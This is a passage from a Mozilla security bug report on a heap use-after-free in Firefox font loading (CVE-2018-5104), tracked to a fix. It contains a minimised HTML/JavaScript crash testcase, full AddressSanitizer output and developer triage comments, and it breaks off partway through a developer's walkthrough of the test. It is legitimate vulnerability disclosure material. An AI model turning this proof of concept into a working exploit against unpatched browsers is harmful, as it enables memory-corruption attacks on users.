Closed Bug 1425000 (CVE-2018-5104) Opened 6 years ago Closed 6 years ago

heap-use-after-free in gfxUserFontEntry::DoLoadNextSrc

Categories

(Core :: DOM: CSS Object Model, defect)

Product:
Core
Component:
DOM: CSS Object Model
Version:
59 Branch
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
VERIFIED FIXED
Milestone:
mozilla59
Tracking Flags:
Tracking Status
firefox-esr52 58+ verified
firefox57 --- wontfix
firefox58 + verified
firefox59 + verified

People

(Reporter: nils, Assigned: heycam)

Details

(Keywords: csectype-uaf, sec-high, Whiteboard: [adv-main58+][adv-esr52.6+][post-critsmash-triage])

Crash Data

Attachments

(4 files)

ASAN output
24.04 KB, text/plain
Details
crash.html (minimised testcase)
408 bytes, text/html
Details
patch
8.61 KB, patch
jfkthame
: review+
abillings
: approval-mozilla-beta+
abillings
: sec-approval+
Details | Diff | Splinter Review
backport for esr52
4.98 KB, patch
ritu
: approval-mozilla-esr52+
Details | Diff | Splinter Review 
The following testcase crashes the latest ASAN build of Firefox nightly (SourceStamp=defccba824aa91e8d4d820b1defaadfdca34bac7). It requires the fuzzPriv extension.

<script>
function spin () {
    var x=new XMLHttpRequest();
    x.open("POST","https://mozilla.org",false);
    try{x.send("X");}catch(e){}
}
function start() {
	o179=document.cloneNode(true);
	o585=o179.fonts;
	o919=new FontFace('font7',"url('X')");
	o585.add(o919);
        o585.clear();
	spin();
	o585=null;o179=null;
	fuzzPriv.GC();fuzzPriv.CC();
	o919.load();
}
</script>
<body onload="start()"></body>

ASAN output:
=================================================================
==18235==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000076920 at pc 0x7f7e6c98867b bp 0x7ffe8ea8fe70 sp 0x7ffe8ea8fe68
READ of size 8 at 0x608000076920 thread T0 (file:// Content)
    #0 0x7f7e6c98867a in gfxUserFontEntry::DoLoadNextSrc(bool) /builds/worker/workspace/build/src/gfx/thebes/gfxUserFontSet.cpp:560:41
    #1 0x7f7e716df45a in DoLoad /builds/worker/workspace/build/src/layout/style/FontFace.cpp:423:19
    #2 0x7f7e716df45a in mozilla::dom::FontFace::Load(mozilla::ErrorResult&) /builds/worker/workspace/build/src/layout/style/FontFace.cpp:394
    #3 0x7f7e6ec30849 in load /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FontFaceBinding.cpp:1192:45
    #4 0x7f7e6ec30849 in mozilla::dom::FontFaceBinding::load_promiseWrapper(JSContext*, JS::Handle<JSObject*>, mozilla::dom::FontFace*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FontFaceBinding.cpp:1209
    #5 0x7f7e6f14f4cf in mozilla::dom::GenericPromiseReturningBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3088:13
    #6 0x7f7e75cf0014 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15
    #7 0x7f7e75cf0014 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473
    #8 0x7f7e75cd60f6 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12
    #9 0x7f7e75cd60f6 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096
    #10 0x7f7e75cc2860 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12
    #11 0x7f7e75cf054c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15
    #12 0x7f7e75cf1072 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10
    #13 0x7f7e767ec5ec in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2995:12
    #14 0x7f7e6ea8070e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37
    #15 0x7f7e6f646fd3 in Call<nsISupports *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12
    #16 0x7f7e6f646fd3 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215
    #17 0x7f7e6f60d901 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1111:51
    #18 0x7f7e6f60f812 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:20
    #19 0x7f7e6f5fa1ff in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:462:16
    #20 0x7f7e6f5fdaeb in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:826:9
    #21 0x7f7e71bf6491 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1070:7
    #22 0x7f7e74f6d2c2 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7907:21
    #23 0x7f7e74f691ea in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7700:7
    #24 0x7f7e74f70fef in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
    #25 0x7f7e6bdf7c77 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1319:3
    #26 0x7f7e6bdf6e81 in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:862:14
    #27 0x7f7e6bdf3b14 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:751:9
    #28 0x7f7e6bdf5b4c in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:633:5
    #29 0x7f7e6bdf6a6c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp
    #30 0x7f7e6a0b840a in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28
    #31 0x7f7e6d0de377 in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:9118:18
    #32 0x7f7e6d0de377 in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:9040
    #33 0x7f7e6d0ba50a in nsDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5680:3
    #34 0x7f7e6d1393f4 in applyImpl<nsDocument, void (nsDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1142:12
    #35 0x7f7e6d1393f4 in apply<nsDocument, void (nsDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1148
    #36 0x7f7e6d1393f4 in mozilla::detail::RunnableMethodImpl<nsDocument*, void (nsDocument::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1192
    #37 0x7f7e69ecab94 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25
    #38 0x7f7e69ef147e in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1033:14
    #39 0x7f7e69f0cde0 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:508:10
    #40 0x7f7e6ad942ba in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #41 0x7f7e6aceb249 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #42 0x7f7e6aceb249 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #43 0x7f7e6aceb249 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #44 0x7f7e712e79aa in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27
    #45 0x7f7e75a2202b in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:875:22
    #46 0x7f7e6aceb249 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
    #47 0x7f7e6aceb249 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
    #48 0x7f7e6aceb249 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
    #49 0x7f7e75a21a1d in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:701:34
    #50 0x4ee965 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30
    #51 0x4ee965 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280
    #52 0x7f7e88f6582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #53 0x41dfe8 in _start (/fuzzer3/firefox/firefox+0x41dfe8)

0x608000076920 is located 0 bytes inside of 88-byte region [0x608000076920,0x608000076978)
freed by thread T0 (file:// Content) here:
    #0 0x4bea42 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
    #1 0x7f7e716e2fc6 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/gfxUserFontSet.h:184:5
    #2 0x7f7e716e2fc6 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:41
    #3 0x7f7e716e2fc6 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:398
    #4 0x7f7e716e2fc6 in assign_assuming_AddRef /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:66
    #5 0x7f7e716e2fc6 in operator= /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:168
    #6 0x7f7e716e2fc6 in ImplCycleCollectionUnlink<mozilla::dom::FontFaceSet::UserFontSet> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:423
    #7 0x7f7e716e2fc6 in mozilla::dom::FontFaceSet::cycleCollection::Unlink(void*) /builds/worker/workspace/build/src/layout/style/FontFaceSet.cpp:93
    #8 0x7f7e69d81454 in nsCycleCollector::CollectWhite() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3396:26
    #9 0x7f7e69d8418d in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3764:24
    #10 0x7f7e69d87dd0 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4310:21
    #11 0x7f7e6d1ce61c in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1505:3
    #12 0x7f7e6ccedbcb in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1449:3
    #13 0x7f7e69f1d3b1 in NS_InvokeByIndex /builds/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:106
    #14 0x7f7e6b90e2dd in Invoke /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1948:12
    #15 0x7f7e6b90e2dd in Call /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1267
    #16 0x7f7e6b90e2dd in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1234
    #17 0x7f7e6b914b74 in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:929:12
    #18 0x7f7e75cf0014 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15
    #19 0x7f7e75cf0014 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473
    #20 0x7f7e75cd60f6 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12
    #21 0x7f7e75cd60f6 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096
    #22 0x7f7e75cc2860 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12
    #23 0x7f7e75cf054c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15
    #24 0x7f7e75cf1072 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10
    #25 0x7f7e767ea171 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2936:12
    #26 0x7f7e6b824e62 in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18
    #27 0x7f7e75cf0014 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15
    #28 0x7f7e75cf0014 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473
    #29 0x7f7e75cd60f6 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12
    #30 0x7f7e75cd60f6 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096
    #31 0x7f7e75cc2860 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12
    #32 0x7f7e75cf054c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15
    #33 0x7f7e75cf1072 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10
    #34 0x7f7e767ec5ec in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2995:12
    #35 0x7f7e6ea8070e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37
    #36 0x7f7e6f646fd3 in Call<nsISupports *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12
    #37 0x7f7e6f646fd3 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215
    #38 0x7f7e6f60d901 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1111:51
    #39 0x7f7e6f60f812 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:20
    #40 0x7f7e6f5fa1ff in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:462:16
    #41 0x7f7e6f5fdaeb in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:826:9
    #42 0x7f7e71bf6491 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1070:7

previously allocated by thread T0 (file:// Content) here:
    #0 0x4bed83 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
    #1 0x4ef7ed in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17
    #2 0x7f7e716e3fc9 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:159:12
    #3 0x7f7e716e3fc9 in mozilla::dom::FontFaceSet::FontFaceSet(nsPIDOMWindowInner*, nsIDocument*) /builds/worker/workspace/build/src/layout/style/FontFaceSet.cpp:158
    #4 0x7f7e6d105c7f in nsIDocument::Fonts() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:13310:24
    #5 0x7f7e6eafa608 in mozilla::dom::DocumentBinding::get_fonts(JSContext*, JS::Handle<JSObject*>, nsIDocument*, JSJitGetterCallArgs) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:5700:63
    #6 0x7f7e6f14c5a1 in mozilla::dom::GenericBindingGetter(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2911:13
    #7 0x7f7e75cf0014 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15
    #8 0x7f7e75cf0014 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473
    #9 0x7f7e75cf2032 in InternalCall /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12
    #10 0x7f7e75cf2032 in Call /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541
    #11 0x7f7e75cf2032 in js::CallGetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:656
    #12 0x7f7e76d9a7cf in CallGetter /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2125:16
    #13 0x7f7e76d9a7cf in GetExistingProperty<js::AllowGC::CanGC> /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2178
    #14 0x7f7e76d9a7cf in NativeGetPropertyInline<js::AllowGC::CanGC> /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2381
    #15 0x7f7e76d9a7cf in js::NativeGetProperty(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2417
    #16 0x7f7e6f143b93 in mozilla::dom::GetPropertyOnPrototype(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, bool*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2098:10
    #17 0x7f7e6ed0663c in mozilla::dom::HTMLDocumentBinding::DOMProxyHandler::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) const /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLDocumentBinding.cpp:2183:8
    #18 0x7f7e76aae85e in getInternal /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:352:21
    #19 0x7f7e76aae85e in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:362
    #20 0x7f7e75cfb5ff in GetProperty /builds/worker/workspace/build/src/js/src/vm/NativeObject.h:1618:16
    #21 0x7f7e75cfb5ff in GetProperty /builds/worker/workspace/build/src/js/src/jsobj.h:804
    #22 0x7f7e75cfb5ff in js::GetProperty(JSContext*, JS::Handle<JS::Value>, JS::Handle<js::PropertyName*>, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:4405
    #23 0x7f7e75ccfc81 in GetPropertyOperation /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:219:12
    #24 0x7f7e75ccfc81 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2815
    #25 0x7f7e75cc2860 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12
    #26 0x7f7e75cf054c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15
    #27 0x7f7e75cf1072 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10
    #28 0x7f7e767ec5ec in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2995:12
    #29 0x7f7e6ea8070e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37
    #30 0x7f7e6f646fd3 in Call<nsISupports *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12
    #31 0x7f7e6f646fd3 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215
    #32 0x7f7e6f60d901 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1111:51
    #33 0x7f7e6f60f812 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:20
    #34 0x7f7e6f5fa1ff in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:462:16
    #35 0x7f7e6f5fdaeb in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:826:9
    #36 0x7f7e71bf6491 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1070:7
    #37 0x7f7e74f6d2c2 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7907:21
    #38 0x7f7e74f691ea in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7700:7
    #39 0x7f7e74f70fef in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
    #40 0x7f7e6bdf7c77 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1319:3
    #41 0x7f7e6bdf6e81 in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:862:14

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/gfx/thebes/gfxUserFontSet.cpp:560:41 in gfxUserFontEntry::DoLoadNextSrc(bool)
Shadow bytes around the buggy address:
  0x0c1080006cd0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 05 fa
  0x0c1080006ce0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x0c1080006cf0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x0c1080006d00: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x0c1080006d10: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x0c1080006d20: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fa
  0x0c1080006d30: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x0c1080006d40: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c1080006d50: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x0c1080006d60: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x0c1080006d70: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==18235==ABORTING
Attached file ASAN output — 

    
    

    
  


  

    
    

    
  
Jonathan, any ideas? Thanks.
Flags: needinfo?(jfkthame)

    
    

    
  
:heycam, this involves FontFaceSet manipulation, which I think you know more about.... looks like the FontFace here has been GC'd even though the script still had a reference to it, implying that we mismanaged ownership/referencing at some point. Can you take a look?
Flags: needinfo?(jfkthame) → needinfo?(cam)

    
  
Component: Graphics: Text → DOM: CSS Object Model

    
  
Assignee: nobody → cam
Status: NEW → ASSIGNED
Flags: needinfo?(cam)
Group: core-security → layout-core-security
Keywords: csectype-uaf, 
          
            sec-high

    
    

    
  
Slightly varying stacks, but I'm seeing UAF crashes in DoLoadNextSrc in the wild in Release and Beta.
bp-c89dd432-7bc9-4238-a697-536360171213
bp-c7535340-f510-462d-ae9e-e1fc20171209 (see rdx in the "Raw Dump" tab)

Those may not be the same crash as this so double-check object lifetime around this code, not just the specific path the testcase points at.
Crash Signature: [@ RefPtr<T>::operator= | gfxUserFontEntry::DoLoadNextSrc ]

          status-firefox57:
          --- → affected

          status-firefox58:
          --- → affected

    
    

    
  
Here's a summary of what happens in the test:

1. We start with the test document, its FontFaceSet, and the gfxUserFontSet (really, FontFaceSet::UserFontSet, which extends gfxUserFontSet).  Call these document_a, font_face_set_a, etc.

